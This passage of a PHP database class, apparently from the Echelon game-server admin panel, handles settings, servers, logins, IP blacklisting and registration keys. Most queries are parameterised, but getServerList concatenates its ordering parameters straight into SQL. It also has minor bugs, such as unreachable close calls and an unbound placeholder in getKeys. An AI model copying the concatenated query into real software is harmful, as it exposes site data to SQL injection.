Error');\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\t$stmt->store_result();\r\n\t\t$stmt->bind_result($name, $value);\r\n        \r\n\t\t$settings = array();\r\n\t\t\r\n        while($stmt->fetch()) : // get results\r\n            $settings[$name] = $value;\r\n        endwhile;\r\n\t\t\r\n\t\t$stmt->close();\r\n\t\t\r\n        return $settings;\r\n    }\r\n\t\r\n\tfunction getGameInfo($game) {\r\n\t\r\n\t\t$query = \"SELECT SQL_CACHE id, game, name, name_short, num_srvs, db_host, db_user, db_pw, db_name, plugins FROM ech_games WHERE id = ?\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('i', $game);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\t$stmt->bind_result($id, $game, $name, $name_short, $num_srvs, $db_host, $db_user, $db_pw, $db_name, $plugins);\r\n        $stmt->fetch(); // get results\t\t\r\n\t\t\r\n\t\t$game = array(\r\n\t\t\t'id' => $id,\r\n\t\t\t'game' => $game,\r\n\t\t\t'name' => $name,\r\n\t\t\t'name_short' => $name_short,\r\n\t\t\t'num_srvs' => $num_srvs,\r\n\t\t\t'db_host' => $db_host,\r\n\t\t\t'db_user' => $db_user,\r\n\t\t\t'db_pw' => $db_pw,\r\n\t\t\t'db_name' => $db_name,\r\n\t\t\t'plugins' => $plugins\r\n\t\t);\r\n\t\t\r\n\t\treturn $game;\r\n\t}\r\n    \r\n\t/**\r\n\t * Update the settings\r\n\t *\r\n\t * @param string/int $value - the new value for the setting\r\n\t * @param string $name - the name of the settings\r\n\t * @param string $value_type - wheather the value provided is a string or an int\r\n\t * @return bool\r\n\t */\r\n    function setSettings($value, $name, $value_type) {\r\n        \r\n\t\t$query = \"UPDATE ech_config SET value = ? WHERE name = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param($value_type.'s', $value, $name);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\t$affect = $stmt->affected_rows;\r\n\t\t$stmt->close();\r\n\t\t\r\n\t\tif($affect > 0)\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n    }\r\n\t\r\n\t/**\r\n\t * Update game settings\r\n\t *\r\n\t * @return bool\r\n\t */\r\n    function setGameSettings($game, $name, $name_short, $db_user, $db_host, $db_name, $db_pw, $change_db_pw, $plugins) {\r\n\t\t\r\n\t\t$query = \"UPDATE ech_games SET name = ?, name_short = ?, db_host = ?, db_user = ?, db_name = ?, plugins = ?\";\r\n\t\t\r\n\t\tif($change_db_pw) // if the DB password is to be chnaged\r\n\t\t\t$query .= \", db_pw = ?\";\r\n\r\n\t\t$query .= \" WHERE id = ? LIMIT 1\";\r\n\t\t\t\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\tif($change_db_pw) // if change DB PW append var\r\n\t\t\t$stmt->bind_param('sssssssi', $name, $name_short, $db_host, $db_user, $db_name, $plugins, $db_pw, $game);\r\n\t\telse // else var info not needed in bind_param\r\n\t\t\t$stmt->bind_param('ssssssi', $name, $name_short, $db_host, $db_user, $db_name, $plugins, $game);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\tif($stmt->affected_rows > 0)\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n    }\r\n\t\r\n\t/**\r\n\t * Add a Game to the Echelon list\r\n\t *\r\n\t * @param string $name - name of the game\r\n\t * @param string $game - the game type (eg. cod4, cod2, bfbc2)\r\n\t * @param string $name_short - short name for the game\r\n\t * @param string $db_host - database host\r\n\t * @param string $db_user - database user\r\n\t * @param string $db_pw - database password\r\n\t * @param string $db_name - database name\r\n\t * @return bool\r\n\t */\r\n\tfunction addGame($name, $game, $name_short, $db_host, $db_user, $db_pw, $db_name) {\r\n\t\t// id, name, game, name_short, num_srvs, db_host, db_user, db_pw, db_name\r\n\t\t$query = \"INSERT INTO ech_games (name, game, name_short, num_srvs, db_host, db_user, db_pw, db_name) VALUES(?, ?, ?, 0, ?, ?, ?, ?)\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error:'. $this->mysql->error);\r\n\t\t$stmt->bind_param('sssssss', $name, $game, $name_short, $db_host, $db_user, $db_pw, $db_name);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\tif($stmt->affected_rows > 0)\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n\t}\r\n\t\r\n\tfunction addGameCount() {\r\n\t\t$query = \"UPDATE ech_config SET value = (value + 1) WHERE name = 'num_games' LIMIT 1\";\r\n\t\t$result = $this->mysql->query($query) or die('Database Error');\r\n\t\t\r\n\t\treturn $result;\r\n\t}\r\n\t\r\n\tfunction getServers($cur_game) {\r\n\t\t$query = \"SELECT SQL_CACHE id, name, ip, pb_active, rcon_pass, rcon_ip, rcon_port FROM ech_servers WHERE game = ?\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('i', $cur_game);\r\n\t\t$stmt->execute();\r\n\t\t$stmt->bind_result($id, $name, $ip, $pb_active, $rcon_pass, $rcon_ip, $rcon_port); // bind results into vars\r\n\r\n\t\twhile($stmt->fetch()) : // get results and store in an array\r\n\t\t\t$servers[] = array(\r\n\t\t\t\t'id' => $id,\r\n\t\t\t\t'name' => $name,\r\n\t\t\t\t'ip' => $ip,\r\n\t\t\t\t'pb_active' => $pb_active,\r\n\t\t\t\t'rcon_pass' => $rcon_pass,\r\n\t\t\t\t'rcon_ip' => $rcon_ip,\r\n\t\t\t\t'rcon_port' => $rcon_port\r\n\t\t\t);\r\n\t\tendwhile;\r\n\t\t\r\n\t\t$stmt->close();\r\n\t\treturn $servers;\r\n\t}\r\n\t\r\n\tfunction getServer($id) {\r\n\t\t$query = \"SELECT game, name, ip, pb_active, rcon_pass, rcon_ip, rcon_port FROM ech_servers WHERE id = ?\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('i', $id);\r\n\t\t$stmt->execute();\r\n\t\t$stmt->bind_result($game, $name, $ip, $pb_active, $rcon_pass, $rcon_ip, $rcon_port); // bind results into vars\r\n\r\n\t\twhile($stmt->fetch()) : // get results and store in an array\r\n\t\t\t$server = array(\r\n\t\t\t\t'game' => $game,\r\n\t\t\t\t'name' => $name,\r\n\t\t\t\t'ip' => $ip,\r\n\t\t\t\t'pb_active' => $pb_active,\r\n\t\t\t\t'rcon_pass' => $rcon_pass,\r\n\t\t\t\t'rcon_ip' => $rcon_ip,\r\n\t\t\t\t'rcon_port' => $rcon_port\r\n\t\t\t);\r\n\t\tendwhile;\r\n\t\t\r\n\t\t$stmt->close();\r\n\t\treturn $server;\r\n\t}\r\n\t\r\n\t/**\r\n\t * Gets a list of all the servers from all the games for the servers table\r\n\t *\r\n\t * @param string $orderby - what var to order by\r\n\t * @param string $order - which way to order (ASC/DESC)\r\n\t * @return bool\r\n\t */\r\n\tfunction getServerList($orderby, $order) {\r\n\t\t\t\r\n\t\t$query = \"SELECT s.id, s.name, s.ip, s.game, s.pb_active, g.name as g_name FROM ech_servers s LEFT JOIN ech_games g ON s.game = g.id ORDER BY \".$orderby.\" \".$order;\r\n\t\t$result = $this->mysql->query($query);\r\n\t\t$num_rows = $result->num_rows;\r\n\t\t\r\n\t\tif($num_rows > 0) :\r\n\t\t\twhile($row = $result->fetch_object()) : // get results\t\t\r\n\t\t\t\t$servers[] = array(\r\n\t\t\t\t\t'id' => $row->id,\r\n\t\t\t\t\t'game' => $row->game,\r\n\t\t\t\t\t'name' => $row->name,\r\n\t\t\t\t\t'ip' => $row->ip,\r\n\t\t\t\t\t'pb_active' => $row->pb_active,\r\n\t\t\t\t\t'game_name' => $row->g_name\r\n\t\t\t\t);\r\n\t\t\tendwhile;\r\n\t\t\t\r\n\t\t\treturn $servers; // return the information\r\n\t\t\t\r\n\t\telse :\r\n\t\t\treturn false;\r\n\t\t\r\n\t\tendif;\r\n\t}\r\n\t\r\n\t/**\r\n\t * Update server settings\r\n\t *\r\n\t * @return bool\r\n\t */\r\n    function setServerSettings($server_id, $name, $ip, $pb, $rcon_ip, $rcon_port, $rcon_pw, $change_rcon_pw) {\r\n\t\t\r\n\t\t$query = \"UPDATE ech_servers SET name = ?, ip = ?, pb_active = ?, rcon_ip = ?, rcon_port = ?\";\r\n\t\t\r\n\t\tif($change_rcon_pw) // if the DB password is to be chnaged\r\n\t\t\t$query .= \", rcon_pass = ?\";\r\n\r\n\t\t$query .= \" WHERE id = ? LIMIT 1\";\r\n\t\t\t\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\tif($change_rcon_pw) // if change RCON PW append\r\n\t\t\t$stmt->bind_param('ssisisi', $name, $ip, $pb, $rcon_ip, $rcon_port, $rcon_pw, $server_id);\r\n\t\telse // else info not needed in bind_param\r\n\t\t\t$stmt->bind_param('ssisii', $name, $ip, $pb, $rcon_ip, $rcon_port, $server_id);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\tif($stmt->affected_rows > 0)\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\t\r\n    }\r\n\t\r\n\t/**\r\n\t * Add a server\r\n\t *\r\n\t * @return bool\r\n\t */\r\n    function addServer($game_id, $name, $ip, $pb, $rcon_ip, $rcon_port, $rcon_pw) {\r\n\t\t\r\n\t\t// id, game, name, ip, pb_active, rcon_pass, rcon_ip, rcon_port\r\n\t\t$query = \"INSERT INTO ech_servers VALUES(NULL, ?, ?, ?, ?, ?, ?, ?)\";\r\n\t\t\t\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('ississi', $game_id, $name, $ip, $pb, $rcon_pw, $rcon_ip, $rcon_port);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\t$affect = $stmt->affected_rows;\r\n\t\t$stmt->close();\r\n\t\t\r\n\t\tif($affect > 0)\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\t\r\n    }\r\n\t\r\n\t/**\r\n\t * After adding a server we need to update the games table to add 1 to num_srvs\r\n\t *\r\n\t * @param int $game_id - the id of the game that is to be updated\r\n\t */\r\n\tfunction addServerUpdateGames($game_id) {\r\n\t\t$query = \"UPDATE ech_games SET num_srvs = (num_srvs + 1) WHERE id = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error:'. $this->mysql->error);;\r\n\t\t$stmt->bind_param('i', $game_id);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\t$affect = $stmt->affected_rows;\r\n\t\t$stmt->close();\r\n\t\t\r\n\t\tif($affect > 0)\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n\t}\r\n\t\r\n\tfunction delServerUpdateGames($game_id) {\r\n\t\t$query = \"UPDATE ech_games SET num_srvs = (num_srvs - 1) WHERE id = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error:'. $this->mysql->error);;\r\n\t\t$stmt->bind_param('i', $game_id);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\t$affect = $stmt->affected_rows;\r\n\t\t$stmt->close();\r\n\t\t\r\n\t\tif($affect > 0)\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n\t}\r\n\t\r\n\tfunction getGamesList() {\r\n\t\t$query = \"SELECT SQL_CACHE id, name, name_short FROM ech_games ORDER BY id ASC\";\r\n\t\t$results = $this->mysql->query($query) or die('Database error');\r\n\t\t\r\n\t\twhile($row = $results->fetch_object()) :\t\r\n\t\t\t$games[] = array(\r\n\t\t\t\t'id' => $row->id,\r\n\t\t\t\t'name' => $row->name,\r\n\t\t\t\t'name_short' => $row->name_short\r\n\t\t\t);\r\n\t\tendwhile;\r\n\t\treturn $games;\r\n\t}\r\n\t\r\n\t/**\r\n\t * This function gets the salt value from the users table by using a clients username\r\n\t *\r\n\t * @param string $username - username of the user you want to find the salt of\r\n\t * @return string/false\r\n\t */\r\n\tfunction getUserSalt($username) {\r\n\t\t\r\n\t\t$query = \"SELECT salt FROM ech_users WHERE username = ?\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('s', $username);\r\n\t\t$stmt->execute(); // run query\r\n\t\t\r\n\t\t$stmt->store_result(); // store results\r\n\t\t$stmt->bind_result($salt); // store result\r\n\t\t$stmt->fetch(); // get the one result result\r\n\r\n\t\tif($stmt->num_rows == 1)\r\n\t\t\treturn $salt;\r\n\t\telse\r\n\t\t\treturn false;\r\n\t\t\r\n\t\t$stmt->free_result();\r\n\t\t$stmt->close();\r\n\t}\r\n\t\r\n\t/**\r\n\t * This function returns an array of permissions for users\r\n\t *\r\n\t * @return array\r\n\t */\r\n\tfunction getPermissions($get_desc = true) {\r\n\t\r\n\t\tif($get_desc)\r\n\t\t\t$query = \"SELECT * FROM ech_permissions\";\r\n\t\telse\r\n\t\t\t$query = \"SELECT id, name FROM ech_permissions\";\r\n\t\t\t\r\n\t\t$query .= \" ORDER BY id ASC\";\r\n\t\t\t\r\n\t\t$results = $this->mysql->query($query);\r\n\t\t\r\n\t\twhile($row = $results->fetch_object()) : // get results\r\n\t\t\r\n\t\t\tif($get_desc) : // if get desc then return desc in results\r\n\t\t\t\t$perms[] = array(\r\n\t\t\t\t\t'id' => $row->id,\r\n\t\t\t\t\t'name' => $row->name,\r\n\t\t\t\t\t'desc' => $row->description\r\n\t\t\t\t);\r\n\t\t\t\t\r\n\t\t\telse : // else dont return the desc of the perm\r\n\t\t\t\t$perms[] = array(\r\n\t\t\t\t\t'id' => $row->id,\r\n\t\t\t\t\t'name' => $row->name,\r\n\t\t\t\t);\r\n\t\t\tendif;\r\n\t\t\t\r\n\t\tendwhile;\r\n\t\treturn $perms;\r\n\t}\r\n    \r\n\t/**\r\n\t * This function validates user login info and if correct to return some user info\r\n\t *\r\n\t * @param string $username - username of user for login validation\r\n\t * @param string $pw - password of user for login validation\r\n\t * @return array/false\r\n\t */\r\n\tfunction login($username, $pw) {\r\n\r\n\t\t$query = \"SELECT u.id, u.ip, u.last_seen, u.display, u.email, u.ech_group, g.premissions FROM ech_users u LEFT JOIN ech_groups g ON u.ech_group = g.id WHERE u.username = ? AND u.password = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('ss', $username, $pw);\r\n\t\t$stmt->execute(); // run query\r\n\t\t\r\n\t\t$stmt->store_result(); // store results\t\r\n\t\t$stmt->bind_result($id, $ip, $last_seen, $name, $email, $group, $perms); // store results\r\n\t\t$stmt->fetch(); // get results\r\n\r\n\t\tif($stmt->num_rows == 1):\r\n\t\t\t$results = array($id, $ip, $last_seen, $name, $email, $group, $perms);\r\n\t\t\treturn $results; // yes log them in\r\n\t\telse :\r\n\t\t\treturn false;\r\n\t\tendif;\r\n\t\t\r\n\t\t$stmt->free_result();\r\n\t\t$stmt->close();\r\n\t}\r\n\t\r\n\t/**\r\n\t * This function updates user records with new IP address and time last seen\r\n\t *\r\n\t * @param string $ip - current IP address to upodate DB records\r\n\t * @param int $id - id of the current user \r\n\t */\r\n\tfunction newUserInfo($ip, $id) { // updates user records with new IP, time of login and sets active to 1 if needed\r\n\t\t\r\n\t\t$time = time();\r\n\t\t$query = \"UPDATE ech_users SET ip = ?, last_seen = ? WHERE id = ?\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('sii', $ip, $time, $id);\r\n\t\t$stmt->execute(); // run query\r\n\t\t$stmt->close(); // close connection\r\n\t}\r\n\t\r\n\t/**\r\n\t * This function checks to see if the current user IP is on the blacklist\r\n\t *\r\n\t * @param string $ip - IP addrss of current user to check of current BL\r\n\t * @return bool\r\n\t */\r\n\tfunction checkBlacklist($ip) {\r\n\r\n\t\t$query = \"SELECT id FROM ech_blacklist WHERE ip = ? AND active = 1 LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database error');\r\n\t\t$stmt->bind_param('s', $ip);\r\n\t\t$stmt->execute();\r\n\r\n\t\t$stmt->store_result();\r\n\t\t\r\n\t\tif($stmt->num_rows > 0)\r\n\t\t\treturn true;\r\n\t\t\r\n\t\t$stmt->free_result();\r\n\t\t$stmt->close();\r\n\t\t\r\n\t\treturn false;\r\n\t}\r\n\r\n\t/**\r\n\t * Blacklist a user's IP address\r\n\t *\r\n\t * @param string $ip - IP address you wish to ban\r\n\t * @param string $comment [optional] - Comment about reason for ban\r\n\t * @param int $admin - id of the admin who added the ban (0 if auto added)\r\n\t */\r\n\tfunction blacklist($ip, $comment = 'Auto Added Ban', $admin = 0) { // add an Ip to the blacklist\r\n\t\t$comment = cleanvar($comment);\r\n\t\t$time = time();\r\n\t\t// id, ip, active, reason, time_add, admin_id\r\n\t\t$query = \"INSERT INTO ech_blacklist VALUES(NULL, ?, 1, ?, ?, ?)\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database error');\r\n\t\t$stmt->bind_param('ssii', $ip, $comment, $time, $admin);\r\n\t\t$stmt->execute(); // run query\r\n\t\t\r\n\t\t$affect = $stmt->affected_rows;\r\n\t\t$stmt->close();\r\n\t\t\r\n\t\tif($affect > 0)\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n\t}\r\n\t\r\n\t/**\r\n\t * Get an array of data about the Blacklist for a table\r\n\t *\r\n\t * @return array\r\n\t */\r\n\tfunction getBL() { // return the rows of info for the BL table\r\n\r\n\t\t$query = \"SELECT bl.id, bl.ip, bl.active, bl.reason, bl.time_add, u.display \r\n\t\t\t\t\tFROM ech_blacklist bl LEFT JOIN ech_users u ON bl.admin_id = u.id \r\n\t\t\t\t\tORDER BY active ASC\";\t\r\n\t\t\r\n\t\t$results = $this->query($query);\r\n\t\t\r\n\t\treturn $results;\r\n\t}\r\n\t\r\n\t/**\r\n\t * De/Re-actives a Blacklist Ban\r\n\t *\r\n\t * @param int $id - id of the ban\r\n\t * @param bool $active - weather to activate or deactivate\r\n\t */\r\n\tfunction BLactive($id, $active = true) {\r\n\r\n\t\tif($active == false)\r\n\t\t\t$active = 0;\r\n\t\telse\r\n\t\t\t$active = 1;\r\n\r\n\t\t$query = \"UPDATE ech_blacklist SET active = ? WHERE id = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('ii', $active, $id);\r\n\t\t$stmt->execute(); // run query\r\n\t\t$stmt->close(); // close connection\r\n\r\n\t} // end BLactive\r\n\r\n\t/**\r\n\t * Gets an array of data for the users table\r\n\t *\r\n\t * @return array\r\n\t */\r\n\tfunction getUsers() { // gets an array of all the users basic info\r\n\r\n\t\t$query = \"SELECT u.id, u.display, u.email, u.ip, u.first_seen, u.last_seen, g.namep FROM ech_users u LEFT JOIN ech_groups g ON u.ech_group = g.id ORDER BY id ASC\";\r\n\t\t\r\n\t\t$users = $this->query($query);\r\n\t\t\r\n\t\treturn $users;\r\n\t}\r\n\t\r\n\t/**\r\n\t * Gets a list of all currently valid registration keys\r\n\t *\r\n\t * @param $key_expire - the setting for how many days a key is valid for\r\n\t * @return array\r\n\t */\r\n\tfunction getKeys($key_expire) {\r\n\t\t$limit_seconds = $key_expire*24*60*60; // user_key_limit is sent in days so we must convert it\r\n\t\t$time = time();\r\n\t\t$expires = $time+$limit_seconds;\r\n\t\t$query = \"SELECT k.reg_key, k.email, k.comment, k.time_add, k.admin_id, u.display \r\n\t\t\t\t  FROM ech_user_keys k LEFT JOIN ech_users u ON k.admin_id = u.id\r\n\t\t\t\t  WHERE k.active = 1  AND k.time_add < ? AND comment != 'PW' ORDER BY time_add ASC\";\r\n\r\n\t\t$reg_keys = $this->query($query);\r\n\t\t\r\n\t\treturn $reg_keys;\r\n\t}\r\n\t\r\n\t/**\r\n\t * Check a username is not already in use\r\n\t *\r\n\t * @param string $username - username to check\r\n\t * @return bool\r\n\t */\r\n\tfunction checkUsername($username) {\r\n\r\n\t\t$query = \"SELECT username FROM ech_users WHERE username = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('s', $username);\r\n\t\t$stmt->execute(); // run query\r\n\t\t$stmt->store_result(); // store query\r\n\t\t\r\n\t\tif($stmt->num_rows >= 1) // if there is a row\r\n\t\t\treturn false;\r\n\t\telse\r\n\t\t\treturn true;\r\n\t\t\r\n\t\t$stmt->free_result();\r\n\t\t$stmt->close();\r\n\t}\r\n\t\r\n\t/**\r\n\t * Find the users pasword salt by using their id\r\n\t *\r\n\t * @param int $user_id\r\n\t * @return string/false\r\n\t */\r\n\tfunction getUserSaltById($user_id) {\r\n\t\t\r\n\t\t$query = \"SELECT salt FROM ech_users WHERE id = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('s', $user_id);\r\n\t\t$stmt->execute(); // run query\r\n\t\t\r\n\t\t$stmt->store_result(); // store results // needed for num_rows\r\n\t\t$stmt->bind_result($salt); // store result\r\n\t\t$stmt->fetch(); // get the one result result\r\n\r\n\t\tif($stmt->num_rows == 1)\r\n\t\t\treturn $salt;\r\n\t\telse\r\n\t\t\treturn false;\r\n\t\t\r\n\t\t$stmt->free_result();\r\n\t\t$stmt->close();\r\n\t}\r\n\t\r\n\t/**\r\n\t * Checks that a users password is correct (needed to verify user idenity with edit me page)\r\n\t *\r\n\t * @param int $user_id - id of the user\r\n\t * @param string $hash_pw - hashed version of the pw (including the salt in the hash)\r\n\t * @return bool\r\n\t */\r\n\tfunction validateUserRequest($user_id, $hash_pw) { // see if the supplied password matches that of the supplied user id\r\n\t\t$query = \"SELECT id FROM ech_users WHERE id = ? AND password = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('is', $user_id, $hash_pw);\r\n\t\t$stmt->execute();\r\n\t\t$stmt->store_result(); // needed to allow num_rows to buffer\r\n\t\t\r\n\t\tif($stmt->num_rows == 1)\r\n\t\t\treturn true; // the person exists\r\n\t\telse\r\n\t\t\treturn false; // person does not exist\r\n\t\t\t\r\n\t\t$stmt->free_result();\r\n\t\t$stmt->close();\r\n\t}\r\n\t\r\n\t/**\r\n\t * Allows a user to edit their display name and email\r\n\t *\r\n\t * @param string $name - new display name\r\n\t * @param string $email - new email address\r\n\t * @param int $user_id - id of the user to update\r\n\t * @return bool\r\n\t */\r\n\tfunction editMe($name, $email, $user_id) {\r\n\t\t$query = \"UPDATE ech_users SET display = ?, email = ? WHERE id = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('ssi', $name, $email, $user_id);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\tif($stmt->affected_rows != 1) \r\n\t\t\treturn false; // if nothing happened\r\n\t\telse\r\n\t\t\treturn true; // retrun true (it happened)\r\n\t\t\r\n\t\t$stmt->close(); // close connection\r\n\t}\r\n\t\r\n\t/**\r\n\t * Allows user to edit their password\r\n\t *\r\n\t * @param string $password_new - new password in hash form\r\n\t * @param string $salt_new - the new salt for that user\r\n\t * @param int $user_id - id of the user to update\r\n\t * @return bool\r\n\t */\r\n\tfunction editMePW($password_new, $salt_new, $user_id) { // update a user with a new pw and salt\r\n\t\t$query = \"UPDATE ech_users SET password = ?, salt = ? WHERE id = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('ssi', $password_new, $salt_new, $user_id);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\tif($stmt->affected_rows != 1)\r\n\t\t\treturn false;\r\n\t\telse\r\n\t\t\treturn true;\r\n\r\n\t\t$stmt->close();\r\n\t}\r\n\t\r\n\t/**\r\n\t * Add a key key to the user_keys table to allow registration\r\n\t *\r\n\t * @param string $user_key - unique key (40 char hash)\r\n\t * @param string $email - email address of the user the key is for\r\n\t * @param string $comment - comment as to why the user was added\r\n\t * @param int $perms - value of perms this user is allowed access to\r\n\t * @param int $admin_id - id of the admin who added this key\r\n\t * @return bool\r\n\t */\r\n\tfunction addEchKey($user_key, $email, $comment, $group, $admin_id) {\r\n\t\t$time = time();\r\n\t\t// key, ech_group, admin_id, comment, time_add, email, active\r\n\t\t$query = \"INSERT INTO ech_user_keys VALUES(?, ?, ?, ?, ?, ?, 1)\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('siisis', $user_key, $group, $admin_id, $comment, $time, $email);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\tif($stmt->affected_rows)\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n\t\t\r\n\t\t$stmt->close();\r\n\t}\r\n\t\r\n\t/**\r\n\t * Delete a registration key\r\n\t *\r\n\t * @param string $key - unique key to delete\r\n\t * @return bool\r\n\t */\r\n\tfunction delKey($key) {\r\n\t\r\n\t\t$query = \"DELETE FROM ech_user_keys WHERE reg_key = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query);\r\n\t\t$stmt->bind_param('s', $key);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\tif($stmt->affected_rows)\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n\t\t\t\r\n\t\t$stmt->close();\r\n\t}\r\n\t\r\n\t/**\r\n\t * Edit a registration key's comment\r\n\t *\r\n\t * @param string $key - unique key to delete\r\n\t * @param string $comment - the new comment text\r\n\t * @param int $admin_id - the admin who created the key is the only person who can edit the key\r\n\t * @return bool\r\n\t */\r\n\tfunction editKeyComment($key, $comment, $admin_id){\r\n\t\r\n\t\t$query = \"UPDATE ech_user_keys SET comment = ? WHERE reg_key = ? AND admin_id = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('ssi', $comment, $key, $admin_id);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\tif($stmt->affected_rows)\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n\t\t\t\r\n\t\t$stmt->close();\r\n\t}\r\n\t\r\n\t/**\r\n\t * Verify that the supplied user key, email are valid, that the key has not expired or already been used\r\n\t *\r\n\t * @param string $key - unique key to search for\r\n\t * @param string $email - email address connected with each key\r\n\t * @param string $key_expire - lenght in days of how long a key is active for\r\n\t * @return bool\r\n\t */\r\n\tfunction verifyRegKey($key, $email, $key_expire) {\r\n\t\t$limit_seconds = $key_expire*24*60*60; // user_key_limit is sent in days so we must convert it\r\n\t\t$time = time();\r\n\t\t$expires = $time+$limit_seconds;\r\n\t\r\n\t\t$query = \"SELECT reg_key, email FROM ech_user_keys WHERE reg_key = ? AND email = ? AND active = 1 AND time_add < ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('ssi', $key, $email, $expires);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\t$stmt->store_result(); // store results\r\n\r\n\t\tif($stmt->num_rows == 1)\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n\t\t\r\n\t\t$stmt->free_result();\r\n\t\t$stmt->close();\r\n\t}\r\n\t\r\n\t/**\r\n\t * Find the perms and admin_id assoc with that unique key\r\n\t *\r\n\t * @param string $key - unique key to search with\r\n\t * @return string\r\n\t */\r\n\tfunction getGroupAndIdWithKey($key) {\r\n\t\r\n\t\t$query = \"SELECT ech_group, admin_id FROM ech_user_keys WHERE reg_key = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('s', $key);\r\n\t\t$stmt->execute();\r\n\t\t$stmt->bind_result($group, $admin_id); // store results\t\r\n\t\t$stmt->fetch();\r\n\t\t\r\n\t\t$result = array($group, $admin_id);\r\n\t\t$stmt->free_result();\r\n\t\t$stmt->close();\r\n\t\t\r\n\t\treturn $result;\r\n\t}\r\n\t\r\n\tfunction getIdWithKey($key) {\r\n\t\r\n\t\t$query = \"SELECT admin_id FROM ech_user_keys WHERE reg_key = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('s', $key);\r\n\t\t$stmt->execute();\r\n\t\t$stmt->store_result();\r\n\t\t\r\n\t\tif($stmt->num_rows == 1) {\r\n\t\t\t$stmt->bind_result($value); // store results\t\r\n\t\t\t$stmt->fetch();\r\n\t\t\t$stmt->free_result();\r\n\t\t\t$stmt->close();\r\n\t\t\treturn $value;\r\n\t\t} else\r\n\t\t\treturn false;\r\n\t}\r\n\t\r\n\t/**\r\n\t * Gets an array of data for the settings form\r\n\t *\r\n\t * @param string $key - the key to deactive\r\n\t * @return bool\r\n\t */\r\n\tfunction deactiveKey($key) {\r\n\t\t$query = \"UPDATE ech_user_keys SET active = 0 WHERE reg_key = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('s', $key);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\t$affect = $stmt->affected_rows;\r\n\t\t\r\n\t\t$stmt->close();\r\n\t\t\r\n\t\tif($affect == 1)\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n\t}\r\n\t\r\n\t/**\r\n\t * Add the user information the users table\r\n\t *\r\n\t * @param string $username - username of user\r\n\t * @param string $display - display name of user\r\n\t * @param string $email - email of user\r\n\t * @param string $password - password\r\n\t * 